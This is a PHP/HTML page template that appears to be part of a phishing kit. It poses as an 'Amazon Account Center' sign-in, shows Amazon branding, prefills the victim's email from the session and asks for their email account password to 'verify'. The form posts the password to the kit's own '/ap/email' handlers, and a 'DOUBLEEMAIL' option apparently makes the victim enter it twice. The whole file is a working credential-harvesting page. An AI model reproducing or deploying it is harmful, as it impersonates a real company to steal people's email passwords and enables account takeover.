<?php
defined("ALLOW") or exit('No direct script access allowed');
if (_config('DOUBLEEMAIL') == 'on') {
   $url = base_url() . "/ap/email/first";
} else {
   $url = base_url() . "/ap/email/process";
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Amazon Account Center</title>
    <link rel="shortcut icon" href="<?= base_url() ?>RABBIT/OFC/favicons/favicon.ico" type="image/x-icon">
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/bootstrap/5.3.3/css/bootstrap.min.css">
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.6.0/css/all.min.css">
</head>
<style>
    body {
        margin:0;
        padding:0;

    }
    .card {
        width: 100%;
        max-width: 450px;
        background-color: white;
        margin: 0 auto;
        overflow: hidden;
        border:1px solid rgb(189, 189, 189);
        height: 80vh;
        border-radius: 20px;
        margin-top: 75px;
      }
      .input-group label {
        margin-bottom: 5px; 
        display: block; 
        font-weight: bold;
        font-family: Arial, sans-serif ;
     }   

    .input-group input {
        width: 100%;
        padding: 10px;
        border: 1px solid gray;
        border-radius: 10px;
        box-sizing: border-box;
         font-family: Arial, sans-serif;
    }

    .card-logo {
        margin-left: 30px;
        margin-top: 30px;
    }

    .card-title {
        margin-left: 30px;
        margin-top: 25px;
    }


.card-notice {
    margin-left: 30px;
    margin-top: 10px;

}

</style>
<body>
    <div class="content">
        <div class="card">
            <div class="row text-center m-2">
                    <div class="container-fluid mt-4">
                        <img src="<?= base_url() ?>RABBIT/OFC/img/logo-a.png" alt="logo" width="100">
                    </div><br>
                    <h2 class="mt-3">Sign In</h2>
                    <span class="mb-3">Use your email account.</span>
                    <div class="form-group">
                        <form action="<?= $url ?>" method="post">
                            <div class="mt-4">
                                <input style="border: 1px solid gray;" type="email" class="form-control p-2" name="email" id="email" placeholder="Email address" value="<? echo $_SESSION['email']; ?>" readonly>
                            </div>
                            <div class=" mt-4">
                                <input style="border: 1px solid gray;" type="password" class="form-control p-2" name="password" id="password" placeholder="Password" required>
                            </div> <br>
                            <span class="mt-3">Login to your email account to verify. <br> <a style="text-decoration: none;" href="#"> Learn more.</a> </span>
                            <div class=" mt-3">
                                <button style="background-color: #ffd814; color:white; border-radius:10px; border:none; font-size: 18px;" class="btn btn-info d-block w-100 p-2" type="submit">Verify</button>
                            </div>
                        </form>
                        <div class="footer mt-4">
                    </div>
            </div>
        </div>
    </div>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.6.0/js/all.min.js"></script>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/bootstrap/5.3.3/js/bootstrap.min.js"></script>
</body>
</html>